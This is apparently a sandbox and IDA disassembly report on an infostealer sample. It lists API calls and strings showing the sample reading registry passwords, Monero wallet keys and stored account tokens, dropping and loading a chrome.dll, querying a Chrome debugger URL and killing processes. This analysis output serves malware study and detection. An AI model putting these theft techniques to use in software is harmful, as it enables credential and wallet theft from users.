Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Internet$Open$CloseHandle
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 3289985339-2144369209
Opcode ID: 8406dd5705d755b798d1832432f42f78fff67f332c4dbdfe52cba3a73970a6d6
Instruction ID: 714cf0c862bf18ba78c92a75665f2f3a3f495494d4352a79ee64d88d445c93a7
Opcode Fuzzy Hash: 8406dd5705d755b798d1832432f42f78fff67f332c4dbdfe52cba3a73970a6d6
Instruction Fuzzy Hash: B7413C35A10258AFCB24EFA4DC95FED7778FB48744F204198F509AB190CBB0AE84DB64

Function 00C87630 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C87330: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00C8739A
Part of subcall function 00C87330: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00C87411
Part of subcall function 00C87330: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00C8746D
Part of subcall function 00C87330: GetProcessHeap.KERNEL32(00000000,?), ref: 00C874B2
Part of subcall function 00C87330: HeapFree.KERNEL32(00000000), ref: 00C874B9

lstrcat.KERNEL32(00000000,00CA192C), ref: 00C87666
lstrcat.KERNEL32(00000000,00000000), ref: 00C876A8
lstrcat.KERNEL32(00000000, : ), ref: 00C876BA
lstrcat.KERNEL32(00000000,00000000), ref: 00C876EF
lstrcat.KERNEL32(00000000,00CA1934), ref: 00C87700
lstrcat.KERNEL32(00000000,00000000), ref: 00C87733
lstrcat.KERNEL32(00000000,00CA1938), ref: 00C8774D
task.LIBCPMTD ref: 00C8775B

Strings

: , xrefs: 00C876AE

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: a5e26042903871bb1767862e179439ead2427936ec69a7584751730d2ee916c0
Instruction ID: e9105417fbc6458e0a37de99e31021a0b9a713b096dd53b7099641327fccb113
Opcode Fuzzy Hash: a5e26042903871bb1767862e179439ead2427936ec69a7584751730d2ee916c0
Instruction Fuzzy Hash: 0F316072904309DBDB04FBA0EC99DFF7379AB45306F504218F202636A1DF34A949EB94

Function 00C98290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0152DD58,00000000,?,00CA0E14,00000000,?,00000000), ref: 00C982C0
RtlAllocateHeap.NTDLL(00000000), ref: 00C982C7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00C982E8
__aulldiv.LIBCMT ref: 00C98302
__aulldiv.LIBCMT ref: 00C98310
wsprintfA.USER32 ref: 00C9833C

Strings

@, xrefs: 00C982DD
%d MB, xrefs: 00C98333

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 9941e34ec3985e25c6cf787644011bcf6208b1d842d09fe7f521d7b3574ba62a
Instruction ID: 97a506fd098bb1e88e65ae264e0509184f9e0609ebfbdc43de67bb2b7d19fa73
Opcode Fuzzy Hash: 9941e34ec3985e25c6cf787644011bcf6208b1d842d09fe7f521d7b3574ba62a
Instruction Fuzzy Hash: 3E2136B1E44308ABDB00DFD4DD4AFAEB7B8FB45B14F104519F215BB280C77869048BA4

Function 00C860F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00C9AAF6

Part of subcall function 00C84800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00C84889
Part of subcall function 00C84800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00C84899

InternetOpenA.WININET(00CA0DFB,00000001,00000000,00000000,00000000), ref: 00C8615F
StrCmpCA.SHLWAPI(?,0152E3C0), ref: 00C86197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00C861DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00C86203
InternetReadFile.WININET(?,?,00000400,?), ref: 00C8622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00C8625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00C86299
InternetCloseHandle.WININET(?), ref: 00C862A3
InternetCloseHandle.WININET(00000000), ref: 00C862B0

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 9423e56d419184b674cd5fa313e83bdb58552dd7eab59b5aaa6fd8f16413f7fd
Instruction ID: 7d6dc23ff57d91c9dfaa44082b52571e1c966d61c20650623225eb8b50d850a3
Opcode Fuzzy Hash: 9423e56d419184b674cd5fa313e83bdb58552dd7eab59b5aaa6fd8f16413f7fd
Instruction Fuzzy Hash: DD5142B1A00318ABDF20EFA0DC49BEE7779AB44305F104198F605A71C1DB746B89DF99

Function 00D0012E Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00D0024D
___TypeMatch.LIBVCRUNTIME ref: 00D0035B
CatchIt.LIBVCRUNTIME ref: 00D003AC
CallUnexpected.LIBVCRUNTIME ref: 00D004C8

Strings

csm, xrefs: 00D00284
csm, xrefs: 00D0016B
csm, xrefs: 00D001D8

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CallCatchMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2356445960-393685449
Opcode ID: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
Instruction ID: af384b6cb69cf5cf8cb6f078b4b7cab20ff9989a6c28c728400e81e33c730142
Opcode Fuzzy Hash: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
Instruction Fuzzy Hash: 52B18C71800209EFCF15DFA4C885BAEBBB5FF04314F18416AE9196B292D731DA51CBB6

Function 00C87330 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00C8739A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00C87411
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00C8746D
GetProcessHeap.KERNEL32(00000000,?), ref: 00C874B2
HeapFree.KERNEL32(00000000), ref: 00C874B9
task.LIBCPMTD ref: 00C875B5

Strings

Password, xrefs: 00C87461

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 7b33db68cd4845baa2ee1e9caa476eee081ddaddedb5ce4bc60f1f8f03ea0235
Instruction ID: a09d1740f90656a9cf8cf3475a5438f57bda815705b3123cd9a6b49748614608
Opcode Fuzzy Hash: 7b33db68cd4845baa2ee1e9caa476eee081ddaddedb5ce4bc60f1f8f03ea0235
Instruction Fuzzy Hash: AE613DB180426C9BDB24EB50CC45BDAB7B8BF44304F1081E9E649A6141EF70ABC9DFA4

Function 00C8BA50 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

Part of subcall function 00C9AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00C9AAF6

lstrlen.KERNEL32(00000000), ref: 00C8BC6F

Part of subcall function 00C98FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00C98FE2

StrStrA.SHLWAPI(00000000,AccountId), ref: 00C8BC9D
lstrlen.KERNEL32(00000000), ref: 00C8BD75
lstrlen.KERNEL32(00000000), ref: 00C8BD89

Strings

AccountTokens, xrefs: 00C8BA8A
AccountTokens, xrefs: 00C8BB19
SELECT service, encrypted_token FROM token_service, xrefs: 00C8BBBB
AccountId, xrefs: 00C8BC94

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: d878f889aed26e0279be7e53e0665c58a1cb5f851d331896b77e0a040f32abe5
Instruction ID: 5994d252ef87571ba929957556d0df3c4203673c56cc3bc2f479376037bc8deb
Opcode Fuzzy Hash: d878f889aed26e0279be7e53e0665c58a1cb5f851d331896b77e0a040f32abe5
Instruction Fuzzy Hash: 99B15072910208ABCF04FBA0DDAAEEE7379AF14305F404569F50667191EF346F48DBA2

Function 00C96A10 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00C96A14
ExitProcess.KERNEL32 ref: 00C96A45
ExitProcess.KERNEL32 ref: 00C96A4F
ExitProcess.KERNEL32 ref: 00C96A59
ExitProcess.KERNEL32 ref: 00C96A63
ExitProcess.KERNEL32 ref: 00C96A6D

Strings

*, xrefs: 00C96A2C

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 4b7231116256f8c647a167ed1c6b070f65acd3c7bf0fd67f042bf5da8e441898
Instruction ID: 4ad337c0d6a6c3cd65a3b42bfd2ea3449ac68c9fbc05411f57e981ee728209f9
Opcode Fuzzy Hash: 4b7231116256f8c647a167ed1c6b070f65acd3c7bf0fd67f042bf5da8e441898
Instruction Fuzzy Hash: DBF0D431948349EFD744AFE0B90979CBB74AB04B07F114199E71A961D0CE705A90ABA1

Function 00C908A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C99850: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,00C908DC,C:\ProgramData\chrome.dll), ref: 00C99871

Part of subcall function 00C8A090: LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00C8A098

StrCmpCA.SHLWAPI(00000000,01528950), ref: 00C90922
StrCmpCA.SHLWAPI(00000000,015288C0), ref: 00C90B79
StrCmpCA.SHLWAPI(00000000,01528870), ref: 00C90A0C

Part of subcall function 00C9AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00C9AAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00C90C35

Strings

C:\ProgramData\chrome.dll, xrefs: 00C90C30
C:\ProgramData\chrome.dll, xrefs: 00C908CD

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$CreateDeleteLibraryLoad
String ID: C:\ProgramData\chrome.dll$C:\ProgramData\chrome.dll
API String ID: 585553867-663540502
Opcode ID: 7b9bf5edd1bcbe7676f8079cf59ca03b07e251b21e1d85aecdc14d4c51cbafe3
Instruction ID: 4f8a60417f96fc15471812faffbb3c5b647f8abcb45430d0842226f2c1afec0c
Opcode Fuzzy Hash: 7b9bf5edd1bcbe7676f8079cf59ca03b07e251b21e1d85aecdc14d4c51cbafe3
Instruction Fuzzy Hash: 42A153717002089FCF28FF64D996AAD77BAAF95304F10816DE80A9F251DE309A05DBD6

Function 00C89E30 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 163stringsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00C98CF0: GetSystemTime.KERNEL32(00CA0E1B,0152A068,00CA05B6,?,?,00C813F9,?,0000001A,00CA0E1B,00000000,?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C98D16

wsprintfA.USER32 ref: 00C89E7F
lstrcat.KERNEL32(00000000,?), ref: 00C89F03
lstrcat.KERNEL32(00000000,?), ref: 00C89F17
lstrcat.KERNEL32(00000000,00CA12D8), ref: 00C89F29
lstrcpy.KERNEL32(?,00000000), ref: 00C89F7C
Sleep.KERNEL32(00001388), ref: 00C8A013

Part of subcall function 00C999A0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00C999C5
Part of subcall function 00C999A0: Process32First.KERNEL32(00C8A056,00000128), ref: 00C999D9
Part of subcall function 00C999A0: Process32Next.KERNEL32(00C8A056,00000128), ref: 00C999F2
Part of subcall function 00C999A0: OpenProcess.KERNEL32(00000001,00000000,?), ref: 00C99A4E
Part of subcall function 00C999A0: TerminateProcess.KERNEL32(00000000,00000000), ref: 00C99A6C
Part of subcall function 00C999A0: CloseHandle.KERNEL32(00000000), ref: 00C99A79
Part of subcall function 00C999A0: CloseHandle.KERNEL32(00C8A056), ref: 00C99A88

Strings

D, xrefs: 00C89FA4

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseHandleProcessProcess32$CreateFirstNextOpenSleepSnapshotSystemTerminateTimeToolhelp32lstrcpywsprintf
String ID: D
API String ID: 531068710-2746444292
Opcode ID: 290d968b46ccb8bf595a6338e3dcd813e1a98d551ca80cb615ad4e5f9cc2330a
